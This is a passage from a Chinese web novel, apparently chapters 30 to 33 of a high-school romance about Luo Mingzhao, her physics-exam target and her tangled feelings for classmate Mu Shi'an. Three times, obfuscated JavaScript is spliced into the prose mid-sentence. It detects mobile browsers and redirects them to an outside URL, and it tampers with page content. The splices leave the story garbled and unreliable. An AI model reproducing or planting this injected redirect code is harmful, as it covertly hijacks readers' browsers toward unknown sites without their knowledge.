骆眀昭恨不得狠狠给自已一巴掌,叫自己不要再朝身侧偷看了! 都是两只眼睛一个鼻子,别人的就那么好看吗? 不过别说,确实,咳,好看哈。 好看也跟你没有关系,骆眀昭,把你花痴脑袋去废品回收站称斤卖了吧! “骆眀昭!看黑板!你桌上有人给你讲课吗!”蔡杨在讲台上咆哮,要不是她坐在最后一排,丢粉笔头有打偏风险,他早就把粉笔头全丢她大脑门上让她清醒清醒。 蔡杨气得不行:“说出去,一班物理课代表物理单科成绩倒数第一,像话吗?” 说得她从前在北校区,物理成绩就不是倒数似的。 骆眀昭赶紧挺直腰杆,可惜还是没有来得及在老蔡暴怒前挽回。 “去,拿着书站到后面听去,给我好好清醒清醒,下课我提问。” 骆眀昭只能菜着张脸,在众同学的注视下站到教师后排。 下课铃打响,老蔡果然提着她到讲台前抽考。 就说这也是中国字,怎么组合到一起她就看不懂呢? 这堂是上午时段最后一节课,班里同学们零散着去食堂干饭,林雨彤跟往常一样进班找她,扒着门框朝着班里喊。 “骆眀昭!吃黄焖鸡米饭吗?” 蔡杨本来就心烦,又看到他手底下授课班级另一位“大将”,说起来这俩人还都是从自己班里出来的,居然能把物理学成这样。 “吃吃吃,你俩就知道吃,我看你俩长得像黄焖鸡!” 骆眀昭、林雨彤:…… 30. 油泼面 “您能不能再跟我说一遍,期中考试物理成绩要求多少?”骆眀昭简直不敢相信她所听到的。 是不是周围太吵所以使得她幻听了? 办公室内熙熙攘攘,下课期间聚满了拿着难题求教老师的学生们,蔡杨的工位在物理组角落,镶着金边的黑色保温杯里升起热气,蔡杨悠悠抿着热水,又重复一遍:“七十五啊,怎么这对你很难吗?” 骆眀昭背着手,埋下脑袋沉默一会儿,思虑片刻说道:“老师,换一个吧。” “换一个,换什么?” “换个学生。” 蔡杨被她气得上头,打也打不得,就只能抄起手边练习册,拍得桌面啪啪作响:“你能不能稍微有点志气,有目标才有动力!” 这种事是她不想吗? 高中开始她的物理成绩就在及格线附近徘徊,物理这东西就是不学不懂,学了又一知半解,是她抓破脑袋都难以逾越的珠穆朗玛峰。 见骆眀昭还不松口,蔡杨眼珠子一转准备使用怀柔战术,他放下水杯,叹出口气苦口婆心地劝着:“你看啊,你听我仔细给你分析,你的物理成绩在咱们班垫底吧,全靠其他几科拉分是不是,这就很危险。但你反过来想,要是你物理成绩能提高上去,能给其他几科少多少压力啊。” 她眨巴着眼:“是这个道理吗?” 我岁数不大,老蔡你可别骗我。 “我毕竟教你一年多,老师会骗你?”蔡杨音量提高,他又说,“更何况,你想想你本来就是一班末游,随时有平行班跟你同层次的学生等着取代你的位置,冲进重点,你也不想父母听到你掉出重点而失望吧。” 怀疑老蔡在pua她,但她没一点证据。 不过有一点说的没错,她现在太容易掉出一班了,想想骆齐知道她考进一班高兴的那个样子,她真的也不想让他难过。 “那我,试试?”骆眀昭攥着手心,试探性地说着。 蔡杨撑着脑袋,笑得慈眉善目:“还有一周哦,十一月二号考试,老师看好你。” …… “你这就答应了?”林雨彤瞪大了眼,不可置信道,“你知不知道对手是七十五分啊。” 骆眀昭戳着大碗里的油泼宽面,垂着眼睫有一搭没一搭地点头:“不答应怎么办,老蔡都把话说成那样了。” 林雨彤哭丧着脸:“完蛋完蛋,估计下一个就是我了,他不会也给我定七十五分吧,那不如要我的命。他又说如果你没考到会有什么惩罚吗?”、 骆眀昭扬起沉甸甸的脑袋,露出很无奈的微笑:“每天给我加留一篇练习册,所有休息的课间全都都要拿着题去办公室找他,直到上了七十五。” 梁若璇:“哇偶。” 她无声咆哮,把自己头发抓到形似炸毛猫咪。 “快吃啊,咱们好不容易排到的面,再不吃都要坨了,”梁若璇帮着用筷子挑开粘连在一起的面条,“不过这么说,蔡老师听着挺关心你俩的。” 食堂新来了位陕西师傅,那个面食做得实属一绝,最近在学生们之间是饱受好评,每天二食堂他的窗口前都是要排队的。 骆眀昭捏着筷子挑起根油亮的宽面,边吃着边说道:“高一刚开学时,我和彤就是在他的班,那会同学们对分到南校区这事挺有怨念的,就不是很听话吧,我俩算是极少数听他说话的学生。” 梁若璇了然地点着头。 即便是这么烦躁的此时此刻,骆眀昭还是没法不感慨师傅这手艺是在说,香得她边吃边忍不住地摇头。这也太好吃了吧,救大命。 “算了!兵来将挡水来土掩,说不定我一个超常发挥,直接冲到八十也不是不可能。”骆眀昭抬起眼皮,握着拳头给自己鼓鼓劲。 林雨彤在一旁补刀:“八十分你还是准备在考场上睡一觉吧,梦里能考到。” “你别太过分!林雨彤!”骆眀昭呲牙咧嘴。 女孩子们的嬉笑声在食堂小范围的环绕着,牧时桉和薛游托着餐盘走来时,听到的就是这般的莺声燕语。 “在笑什么?”薛游笑着问。 说话间隙,骆眀昭感觉身侧多了个身影,嗅到熟悉的气息,她僵了一秒,在片刻停顿后,她就几乎将头埋进面碗里,不顾形象地大口吃面。 牧时桉悄然收回落在她头顶的目光,单手开着雪碧拉环,呲呲气泡争先恐后地钻出来,兀自开口问了一声:“怎么没叫醒我?” 语气无波无澜,不过是句在平常不过的问题,穿进骆眀昭的耳朵里更像是轰鸣雷声,震耳欲聋。 语文课他鲜少有清醒的时候,碰巧语文老师又是和善性子,对于他这种行为也习惯了,索性是不打扰同学也没落下自己成绩,于是讲台上分析阅读时,牧时桉趴在桌上闭目休息。 “哦,那什么,我看你睡得挺香,就没叫你哈哈,下次下次一定。”她嘴里都是面,含含糊糊地回应着。 牧时桉垂眸盯着她,目光深邃,不知是信了还是没信,顿了片刻后还是只挤出一声很小声的嗯。 林雨彤和梁若璇在对面看着一切,默契地转头对视一眼,眼中满是若有所思。 好不容易把牧时桉糊弄过去,骆眀昭心也踏实了些,捏着筷子埋头快速嗦面,不知道有没有嚼碎,也不知道有没尝出味来,那速度像后面有什么在撵着她似的。 “那个,我吃完了,数学晚练还没做,我先回去了哈。”她嘴里鼓鼓囊囊,说话含糊不清,朝着他们微笑了下,就端着餐盘火速起身,一溜烟从众人眼前消失。 牧时桉:…… 走出食堂时她嘴里的饭还没能完全嚼烂,骆眀昭走得义无反顾完全没注意到自己身后还跟着人,她插着腰站在甬道旁路灯下,口腔疯狂进行着运动。 靠!早知道不吃这么快了,真是搬起石头砸自己脚。 “你也没回班啊?”身后忽然出声,骆眀昭猛地被下了一跳,惊恐地瞪大眼回头看,竟是林雨彤和梁若璇组团就站她一米开外的地方。 吞咽本就困难,被她俩搞这突然袭击惊吓住,她突然被噎住,眉心都紧拧在一起,委屈地拍着胸口:“该死,噎住了!” “水,我这有水。”梁若璇把喝完半瓶的矿泉水递给她,骆眀昭一把接过来猛灌一口。顺了一会儿,总算是好多了。 大难不死的骆某人感慨着:“我滴妈,快噎死我了。” “你说你吃那么快干嘛,又没有人跟你跟抢,而且你平时不是很细嚼慢咽的吗?”林雨彤还在一下下顺着她的背。 还不是为了躲那个谁! 骆眀昭暗自嘀咕。 “我说昭昭,有句话我不知道该问不该问,”梁若璇扫过来,神色里满是犹豫。 骆眀昭还没从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678625|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚刚的意外中缓过神来:“你说呗。” “我大侄子,是不是做了什么让你生气的事,你可以直说,我行使小姑姑的权力教育他,你绝对放心。”梁若璇目不转睛地盯着她,胸脯拍得啪啪响。 骆眀昭:…… 对于身边朋友有小对象这种事,她向来是保持理解尊重的态度,并感到深深地好奇,因为她从小到大,从没有过对身边男生产生情愫的经历,也不是没有帅哥。 高一分班前有个男生白白净净,又高又帅,有段时间把刚过上高中生活的林雨彤迷得团团转,骆眀昭也赞同人家长的不错,性格也友善,可就是没有传闻中心跳澎湃的感觉。 最初她看牧时桉也没这种感觉来着,可—— 她不喜欢这种太虚无的感觉,起码也得让她寻出感情为何产生,这就是她躲着牧时桉的根本原因,她讨厌被情绪驱动着自我意识。 但这到底为啥呢?有没有感情大师能帮她答疑解惑一下,她可以微信转账六块六。 不过无论如何,这事暂时都不能告诉她俩,要不然绝对能给她搞出一套战术方案来。 思索许久,她开口说道:“你们都误会了,我就是因为期中考试要到有点焦虑,我看到比我学习好的都嫉妒,比如牧时桉,怎么比我学习好那么多。” “哈?” 俩人无声对视一眼,眼神里满是无语,分明是在说——你觉得我俩面相,看着很像傻逼吗? - 但直到最后,骆眀昭都以为好姐妹已经信以为真,完全不知道她们就是在配合自己。 就是再试图保持距离,放学后她还是要跟牧时桉同行。 不然就太明显了些。 十月下旬,绮城温度降得很多,尤其前段时间一场雨过后,气温更是骤降,骆眀昭怕冷,晚上的放学路上都要在脖子上系个围巾,不然即便衣领拉得再高,都感觉风呼呼往领口钻。 为了配合她的速度,牧时桉都向来把步子压得很慢,刚出校门口,就眼见着一辆16路公交从他们眼前过去。 “这趟是赶不上了,慢点走等下一班吧。”骆眀昭半张脸缩在围巾下,传出来的声音又软又闷。 牧时桉垂眼瞧她一眼,回了句:“好。” 等他们走过去时,站台上就只有他们两个人。 公交站台这边是个风口,寒风里,骆眀昭不自觉搓了下手,好冷。 但等她再回过神,又是那种令人依赖的气息,完完全全地笼罩她。 骆眀昭抬眼,牧时桉不知何时挡在她斜前方站着,替她遮挡住全部的寒气,男生插着口袋站得随性,似是无意之举。 骆眀昭抿了抿唇,然后不自在地别开眼。 干嘛这样,她还纠结着呢。 外套口袋里的手掌攥攥松松,就好像她那颗不受她控制的心脏一般。 “你讨厌我吗?”一句话不紧不慢的,像是伴着风从极远从飘过来的一般。 甚至是让骆眀昭觉得她是不是在幻听。 她仰起头,面前是少年留给她的背身,高瘦挺拔。 对嘛,明明他是背对自己的啊。 可片刻后,在她还在发呆时,却见他竟直接回过身来,居高临下地垂眸看她。 “你讨厌我吗?” 他又问了一遍。 骆眀昭怔在原地。 31. 宫保鸡丁盖浇饭 直白。 好直白。 无法想象的直白问题,不给她丝毫缓冲余地,就这么朝着她奇袭而来。 骆眀昭嘴唇微张着,眼睛眨了又眨,就差把慌乱两字就这么写在脸上,可偏他目光如炬,在光线忽明忽灭的夜里,就这么坦荡地瞧着她。 她倒希望他别替她挡住夜风,这样说不定还能把她冻得清醒些,不至于昏头昏脑的,骆眀昭于是抿了下唇,往一旁侧过半步,走出牧时桉的强势笼罩之下。 “没,你想多了,就只是最近要期中考试有点焦虑。”总之话里话外就在说,考试才是原罪。 牧时桉偏过头垂眸睨她:“真的吗?” “当然,你都不知道老蔡给我定的指标,快愁死我啦,所以可能看什么都比较丧,你属于被牵连的那个。”骆眀昭往上拽了拽右肩挂着的托特包,手不自觉捏着肩带上挂着的小熊。 又有新的一波学生成群结伴地往站台走,人一多,两人就往一旁站了站,并排而立。 “我还以为是我最近做什么错事,既然这样我就放心了。”他插着口袋,微微弯了唇,就好像是真的信了她的鬼话一般。 骆眀昭这时候挺没自知之明的,以为事情就这么平平淡淡地被她遮过去,还在故作自然地摆手:“你这说的,咱们不都是好朋友嘛。” 亮着大灯的公交车朝着站台缓缓驶来,骆眀昭从夹层里翻出一卡通,攥在手心里。 “好朋友。”牧时桉目光略过公交来的方向,慢吞吞地吐出这几个字,忽然笑笑。 “走吧,车来了。”骆眀昭并未注意到,开口唤他。 牧时桉撩起眼皮,回了她一声嗯。 公交车司机稳当地将车停下,更密集的一波八中乘客已经被上一辆车拉走,所以这趟车厢里后排几乎没什么人,骆眀昭头一个上车,牧时桉就跟她身后。 按着平日的习惯,她会坐靠近后排离着刷卡机最近的靠窗座位,牧时桉则会坐在她的身后,当然,这是车厢空荡的情况下,若是人满为患就找根好抓的车杆握着。 骆眀昭一如往常背着包往老地方走去,在自己熟悉的位置落坐,她眼尖地瞧见塑料椅背上有张小小的粉色佩奇贴纸,不显眼。 昨天坐的好像就是这趟车,大概是某个幼稚园小朋友贴的吧。 她先坐下,把肩膀挂着的单肩包放在空闲椅子上,等着身后牧时桉坐到她的身后,脸瞧不见就不会尴尬了吧。 然后她再埋头刷会儿手机,听会儿歌什么的,时间就这么过去喽。 真是完美。 “咯吱”一声,塑料椅子受到挤压传来的声音,就从她身侧传来,余光里,身旁的座位和车窗都映上同一人的熟悉身影。 骆眀昭怔了几秒,转过脸,牧时桉泰然自若地落坐于她身侧,那只原本被她放在椅子上的单肩包,也已经出现在男生的腿上,被稳当当地放着。 “你怎么坐在这了?”骆眀昭语调里只剩下诧异,再反应过来,她赶紧伸手想去拿自己的包,“我自己拿吧。” 牧时桉手却压在她的米白色单肩袋上,手背上泛出淡青色青筋脉络,眯了眯眼,清清淡淡地说:“有点重,放我这吧。” 她能不知道包重吗? 那就是她本人的包啊!这不是倒反天罡吗。 长方的包被他立在腿面,手指攥住肩带露出半截干净的腕骨,小臂轻搭在包上,绕是骆眀昭想从他手里把包抢回来,也不知从何下手,乍一看跟他的所有物似的。 “哎呦,我自己来吧,这多不好意思麻烦你。”骆眀昭说着,却被他一句话直接打回来。 他朝后仰着头,阖着眼倚靠椅背,很自然地回:“没事,都是好朋友,分什么你拿我拿,你说是吧?” 骆眀昭伸出的手悬在半空,太阳穴一下下地直跳,脑子里就好像在翻电影,无限重播着上车从她嘴里亲口说出的话。 真的服了。 怎么会有人每天都在搬起石头去砸自己的脚,谁啊,到底是谁啊。 哦,原来是她骆眀昭这个缺心眼。 莫名其妙地,脑子里升起个念头。 牧时桉好像个耍无赖的傲娇鬼,在绑架她的包包做“人质”,瞧他拿包的那个姿势,不知道是在防谁。 哼,拿走吧,我里面装了好几本参考书,沉死你! “那你就拿着吧,谢谢啦。”骆眀昭抱胸,赌气地朝车窗外看去,可玻璃倒映出来也是那张好看的脸,让她悄然注视着,难以挪开视线。 靠,骆眀昭你出息一点!别看见帅哥就走不动道。 心烦意乱上头,她羞恼得不行,瘪着嘴,脸颊都鼓起来。 身侧安静许久,牧时桉偏过目光,盯着她圆滚滚的侧脸,一瞬间想到蜡笔小新。 他压制住涌上来的笑意,很久后才浅浅弯了唇角。 真的,很有意思。 - 没人不想找到时光机,但一定都没骆眀昭迫切。 要是能重来,她非得收回随口搪塞牧时桉那句话——什么好朋友! 牧时桉那小子就是在整她吧,绝对的! 前一晚下了公交车,牧时桉就把拎在手上的包交还给她,骆眀昭还以为这事就这么过去了。 早晨的上学路向来都是独行,骆眀昭起得晚,很多时候都是压线进班,感觉赶不上公交以后就会拽着沉睡中的老骆,请他开车带自己上学,今早亦是。 大概是放学路上发生的突发事件,让前夜骆眀昭没睡好,所以今日又是狼狈地爬起来,又狼狈地去拽老骆起床。 骆眀昭推开门的时候,还听见骆齐在身后念叨:“臭丫头,你爹我上辈子就是欠你,天天没一个好觉能睡,你看看人家楼上小牧人家每天都自己上学……” “早上好。”楼道里,迎面就是牧时桉的身影,他似笑非笑地正从楼梯上往下走。 骆眀昭揉揉眼睛,不敢置信。 骆齐穿好了鞋从玄关俯身起来,也看到了他,牧时桉笑笑说:“叔叔好。” “小牧啊,怎么今天也起晚了?”骆齐拿起车钥匙关门。 牧时桉走在后面:“嗯,没睡好,起迟了。” “那正好,叔叔带你俩一块学生去啊。”骆齐热情地说。 牧时桉笑得自然:“那就谢谢叔叔了。” 骆眀昭跟着这俩人身后,无语地瞪大着眼。 请问一下,有谁问过她的意见吗? 走出楼道,骆齐去车库开车,让两个孩子去小区门口等他。 骆眀昭仰着头,瞧着悠闲插着口袋走在她身侧的男生,发型利落,校服整洁,瞧着神清气爽干净有活力,怎么看都不像起晚的样子啊。 感受到来自身侧的目光,牧时桉垂下眼,带着丝丝笑意说着:“说起来,我还没坐过朋友家的车呢。” 骆眀昭:? 这话听着莫名地想让人咬起后槽牙,骆眀昭勉强回了个笑给他。 她以为这段插曲单纯是偶然,却没想到只是开始。 人生头一次,她想用黏人的狗皮膏药来形容牧时桉。 所有可以同行的机会,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13691053|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身旁必定有个他。 - 小卖部,有他。 万年都没见过牧时桉主动去过校园超市,第一节课后饥肠辘辘的骆眀昭去觅食,牧时桉长腿一迈,径直跟在她的身侧。 “你干嘛去?”她问。 牧时桉在一旁轻飘飘地回:“哦,我也饿了,走吧一起去,推荐一下有什么好吃的。” 骆眀昭吓得瞪大了眼,这是本人吗? - 下早操后,有他。 广播操散场后,众人一拥而散,人一多骆眀昭就会在原地站上一会儿,等着人潮逐渐散去她再回班,林雨彤和梁若璇被班主任叫去干活没上操,骆眀昭独自蹲在草坪上无聊地戳着假草,硬邦邦的手感不好。 正玩得高兴,忽然感觉眼前天黑了,她扬起头,又是牧时桉。 他挡住了她头顶的全部阳光。 “走吧,一起回班。”牧时桉说。 骆眀昭扯着嘴角:“哈?” 不是吧,大哥你又来。 - 体育课,有他。 热身完成后,自由活动刚解散,斗地主三人小分队就集合碰头,这几乎成了个经典项目,骆眀昭和尹菲、李夏三人牌技进阶到炉火纯青。 刚聚在一块,寻到了操场上的隐蔽角落,他又悠哉悠哉找了过来:“都是朋友加我一个吧,反正无聊,是吧,骆眀昭。”说完,朝着她轻挑了下眉。 尹菲李夏惊讶地瞧他,尤其是尹菲,眼睛瞪得老圆。 骆眀昭阖着眼,奋力压制这即将迸发出了躁意,咬牙切齿地说:“我们玩斗地主,四个人得要两副牌,我们这就一副。” “没事,玩跑得快也行。”牧时桉目光慢悠悠转过来。 你倒是大方!!! - 午餐时间,还是没躲过他。 更重要的压根躲不过,他们五人向来都是一起吃饭的。 二食堂里,梁若璇稀奇地看着骆眀昭身后的牧时桉:“你也会来吃盖浇饭啊,你平时不是嫌它出锅慢吗?” “偶尔可以尝试。”牧时桉耸耸肩。 前面骆眀昭正在跟师傅报菜名:“师傅,一份西红柿炒鸡蛋盖饭少油,一份地三鲜盖饭,一份宫保鸡丁盖饭——” “两份宫保鸡丁盖饭。”牧时桉忽然插道。 宫保鸡丁就是她点的。 骆眀昭:够了…… 牧时桉靠在一旁墙边,低着头刷手机,像是一切与他无关。 等待着食堂师傅出餐期间,骆眀昭没好气地撅着嘴,脑袋靠在林雨彤肩上,她现在的心情很复杂。 这事也没法吐槽,毕竟牧时桉也没干什么,可她怎么都觉得窝火,感觉拳头痒痒的。 等待一会儿,师傅叫他们端菜,几个人一人手上一个餐盘,回到餐桌上,薛游已经坐那吃上了,就他自己点的拉面。 四人托着餐盘逐一落座,按照惯例骆眀昭会跟在牧时桉身侧坐,以来保证她的进食质量,他应该坐在薛游旁边,这样她跟着坐在他身侧就好。 但是…… 牧少爷托着餐盘,随意地坐在了梁若璇身侧,长椅上三人满员。 三个女生:? 除了薛游至今没发现破绽,所有人都知道这两位约定俗成地要坐在一块,牧时桉已经随手拿起一旁的筷子,故作后知后觉地扬起头:“这边对着门凉快,我有点热,都是朋友换个位置不介意吧?” 骆眀昭紧抿着唇,半晌,扬起笑容:“不介意,坐吧。” 真的够了! 32. 肉夹馍 细密的小雨滴从天空落下,大概还掺杂了些几乎不可见的小雪花,清清凉凉地贴在骆眀昭的脸颊上。 对她来说,上学的日子从没有这么煎熬过,大概除了她还有着上厕所自由外,余下的时间身旁都跟着个挂件,但要是按着身形来说,她是牧时桉的挂件才对。 今天一班放得很晚,有两个同学在晚自习时讨论问题,恰巧被训班的年级主任逮个正着,然后全班就被连坐教育了好久,还被罚晚放学二十分钟,整个高二年级楼都几乎走空了,一班才悄然放学。 大概好学生们鲜少有这种被劈头盖脸痛斥一段的经历,所以明明即将是周末,大家的脸色都不是很好,骆眀昭背着包混迹其中,也算合群。 而她的烦闷主要是源自身边这位,他看着倒挺悠哉的。 两人安静地走在校园里,骆眀昭不自觉扬起头看向他。 真的是,讨厌。 那么讨厌了还让人依旧离不开视线,这该死的荷尔蒙,该死的思春期,骂不了天,骂不了地,就只能把怨气全都归于这种东西上。 校门前,她不自觉地停下脚,伸手接住那点点冰碴。 这还没到十一月呢,就有雨夹雪了吗? 牧时桉忽然瞧不见身侧的人影,也跟停住脚步,转过头去看,女孩正安静地望着手心。 这时候他才发现,原来天上是有些细碎的雨滴落下的,仰头望向路灯下那些折射成七零八落的光线,就能瞧得更加明显。 鬼使神差地他也张开了手掌,学着骆眀昭,冰冰凉凉地接住小冰碴。 有点痒。 这时候的绮城,深夜的气温总要在零度线间徘徊,说话间总会染上一层雾蒙蒙的哈气,骆眀昭回过神来,冷得才缩回手,想要赶紧追上牧时桉,本以为他已经走得很远,没想到,他还在自己身旁站着,也在做着这种“无聊”的举动。 她心脏像是被什么触动了一下,源源不断地送入温热的气。 “快走吧,好冷。”骆眀昭轻咳一声,不自然地快走两步。 牧时桉闻声抬起头,女孩已经错过他的身侧,走在他的前边。 她就这么埋着头大步往车站走,也抵不过少年随意地迈出几步,但即便是能追上,他也故意地没有追上她,只是跟在后方目光定定地看着。 直到骆眀昭跑无可跑,攥着书包带,立在站台,无助地偏开脑袋。 该死的脸,求你别红了!烫得快能把红薯都烤熟啦! 她正羞恼着,身侧少年站住了脚。 街口没有路人,马路中也没有行驶着的汽车,感觉整个世界都好像只有他们两个人,周围似乎只有窸窸窣窣的呼吸声和极轻的风声,压抑一天的骆眀昭,在此时莫名地恼意上头,转过头愤愤地开口道:“你拿我当马戏团的猴呢?耍我一天。” 牧时桉听到耳畔女声,偏过头瞧见少女的眸子在夜里都是亮晶晶的,浅紫色围巾下的穗在轻轻晃着,他看了几秒,而后微微扬起笑容。 “我什么时候耍过你?”他悠悠地回道,故作清白。 骆眀昭眨巴着眼:“就是吃饭的事!你早就知道了吧!” 实在是午餐时,感觉他的每句话都具有诱导性,都是在引着她仰起头,然后再朝着她微微笑地咀嚼着。 虽然说有些事,看着看着就习惯了,但骆眀昭直到现在都无法习惯,怎么看都觉得别扭又难受,整顿饭她都是吃得味同嚼蜡,结果晚饭时,他又搞这一套。 牧时桉听完她的话,低头看了眼,却没说话,只是缓缓转过头,轻笑着朝她点了下头,表示肯定。 果然如此! 你小子,真的是心机深不可测! “你既然早知道了,跟我直说就行啦,今天还耍我!”骆眀昭撑着脑袋,扯了下嘴角,“你是幼稚园小朋友吗?还搞这套。” 牧时桉侧靠着站牌,眼神慢悠悠转过来:“那你也没早跟我说啊。” 骆眀昭噎住,呼吸感觉停了半秒,不自然地说:“我不是怕你尴尬吗?谁会愿意头上顶着个饭缩力的title。” “英语不错。”他忽然莫名其妙地回。 骆眀昭歪歪头:“一般一般。” “所以饭缩力是什么意思?”他问。 额,这个。 两个人就这么大眼瞪大眼,像是在比较谁的眼睛更大,骆眀昭眼酸,眨巴两下组织了语言:“如果用通俗点的话来说,就是看着不下饭,懂吗?” 不下饭的意思吗?那骆眀昭看着倒是挺下饭的,很有食欲。 想到这,牧时桉忽然觉得有点好笑,嘴角扬了扬。 骆眀昭看见他的笑意,愣了一会儿,心再一次不知不觉被吊高,又彭彭跳着,她攥着纸张的手心似乎冒了些汗。 今夜天空没有月亮,却好像有一弯月色映在他的眸中,满是温柔。 “所以你干嘛一天都在耍我?”骆眀昭偏过头,没好奇地说。 牧时桉扫过目光,散漫地语气听不出情绪:“那你昨天不也没有跟我说实话吗?” “……”一句话让骆眀昭哽住。 瞧见远处的公交车灯,牧时桉插着口袋又说:“如果我们真的是朋友,你应该跟我说实话吧,而不是拿些自己都不信的话搪塞我,你真的当我是朋友吗?” 他的声音低沉,却又振聋发聩,一字字地穿进她的耳朵里。 牧时桉垂下眸,忽然想起运动会后的这段时间,即便是个薛游、韩进奇或是旁的男生,骆眀昭跟他们好像也更热络,而跟他却…… 吃醋?可能算,也可能不算,总之是他不太痛快。 他承认自己幼稚地在捉弄着她,但不这样,她就会像从前那样和自己相处吗? 晚自习结束的铃声是首相当悠闲舒缓的乐曲,听说之前用过相当激情的励志歌曲,给学到半梦半醒的学生吓了一大跳,半天都没能缓过神来,后来学校就换了这首轻柔的。 公交车在站台停下时,周围正若有似无地响起学校里的放学铃声。 骆眀昭还愣着,牧时桉没再说什么,就只说句:“车来了。” “好。” 上车后,两人又坐到了同样的那个位置,今天没有贴纸,大概是换车了吧。 骆眀昭在内侧坐下,把书包放在她的膝盖上。 公交车平稳地行驶,只有在转弯时才会小小晃动,骆眀昭把手搭在书包上,有一搭没一搭地搓着。 骆眀昭心里还在想着刚刚牧时桉说的话,她呆呆地望向窗外,思绪飘得很远。 果然人都是劝得了别人,劝不了自己,从前更多时候她都是有什么便说什么的人,就像当初和胡晓月,她能堂堂正正地找到胡晓月,向胡晓月表述自己的困惑与想法,可真纠结的事真到了自己身上,她却像嘴上沾着胶水似的,怎么都说不出口。 “听歌吗?”骆眀昭忽地打破僵,从书包侧兜里翻出耳机线,但被缠得像是解不开的毛线球一样,乱糟糟的。 她有些不好意思地收了回去,又从另一个兜拿出蓝牙耳机,上面套着个毛茸茸的耳机壳。 牧时桉不明白,问:“为什么要带两个耳机。” “哦,这个啊,”骆眀昭揉了揉壳上软乎乎的毛,她笑笑说,“本来这个是我初中那会儿很想要的,考上八中后老骆就给我买了,但真的有了以后反而没那么喜欢,还得总是充电,有线耳机更方便,但这个毕竟带上更装逼嘛,大家都带这个。” 说着,她从耳机仓里分享出左边的耳机,递给他。 牧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721324|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时桉接过后,安静地戴在耳朵上,很快,耳机里就放出一首舒缓的英文歌。 “这是什么歌?” “ILoveYou3000II。” “那个,我想跟你说,”骆眀昭忽然开口道,“关于昨天你问我的事,跟你胡说八道我很抱歉,但我现在还没想好该怎么说,有些我自己还没想清楚的事,等哪天我想好了,我一定一定告诉你,行吗?不过说我讨厌你绝对是谣言哈!” 牧时桉沉默一会儿,随后点点头,笑着,目光灼灼:“那我就等着那天。” 骆眀昭瞳孔震了震。 但愿没有这一天,但愿他过几天就忘了。 耳机里轻哑悦耳的男女声像是在互诉表白,她越听着感觉越怪,赶快拿手机切了首轻快的歌曲。 牧时桉挑挑眉:“怎么切歌了?” “哦,有点听腻了,换一首。”她说。 他说:“是吗?我还挺喜欢这歌的。” - 车总算在两人的目的地停下,骆眀昭先一步下车,瞧见面前的街景却愣几秒。 按道理往常这个时间,小吃街的摊贩应该都收摊了才对,今天却还有不少的人,满街都是亮堂着的。 “今天人不少啊?”骆眀昭好奇地问。 “估计是有什么活动吧。” 越往里走,某处人流越密集,等到快到小区门口时,一间底商门口围着一圈的人,这里骆眀昭记得,原本是家螺蛳粉店,但店主阿姨回老家养老去了,就把店盘了出去,这都好几月,终于来了新店。 骆眀昭朝里往望了望,店主好像在同时直播,面前支着一部手机,他在手舞足蹈地比划着。 她回过头跟牧时桉说:“你先回去吧,我想看看这在干嘛。” “我陪你。”他说。 两人从角落里挤进人群前方,牧时桉发挥他视线优势,把她领到一处视野好的空地上。 “……家人们多点点关注啊,我们接下来要开始第二项活动了。”店主说着。 骆眀昭仰头看了看招牌,原来是家肉夹馍店,而且好像是在这开的分店,总店她在网上刷到过。 “我们现场抽几个幸运群众,来尝试我们打气球活动,实力最好的人,可以获得三十张肉夹馍兑换券,不限时间,有这么多家人们直播作证呢,我们二十年老店,信誉是第一位的……” 妈耶,三十张兑换券,那得吃到什么时候。 骆眀昭眼神亮了亮,已经有些跃跃欲试,牧时桉垂下眼,看到她的惊喜。 直到店主拿出做游戏的木板,瞧见最顶上瓶盖那么大的小气球,傻了眼。 店主能找到这么大的气球,他也是个人才啊。 “算了,走吧,这谁能打着。”骆眀昭摆摆手,准备拉着牧时桉走。 才转过身,身后店主就拿着带回声的麦克风,喊到:“那两个小孩,你们不试试吗?” 刚刚他就瞅见了,这俩孩子长得漂亮,一定能拉动人气。 骆眀昭朝着他,指指自己:“我们?” “你们,就是你们。”店主大叔笑呵呵的,“不试试吗?赢得话可以有三十张哦,或者最差还能有一张的。” 最差还有保底啊,那确实可以试试。 她心里想着,却仰头往牧时桉的方向瞧了瞧,他应该不会喜欢这种活动吧。 骆眀昭试探地说:“老板,就我来玩可以吗?” “当然可以啊。”店主还不死心,“不过那个小伙子不也来试试吗?” 令所有人意外的,牧时桉点点头:“好。” “你真想玩吗?”趁着店主在准备游戏时,骆眀昭凑过去悄悄地问。 却听男生轻声说:“你不是想要吗?” 33. 肉夹馍续 直到店主大叔将飞镖递给她时,心脏都无法如她所愿地减缓她跳动的速度。 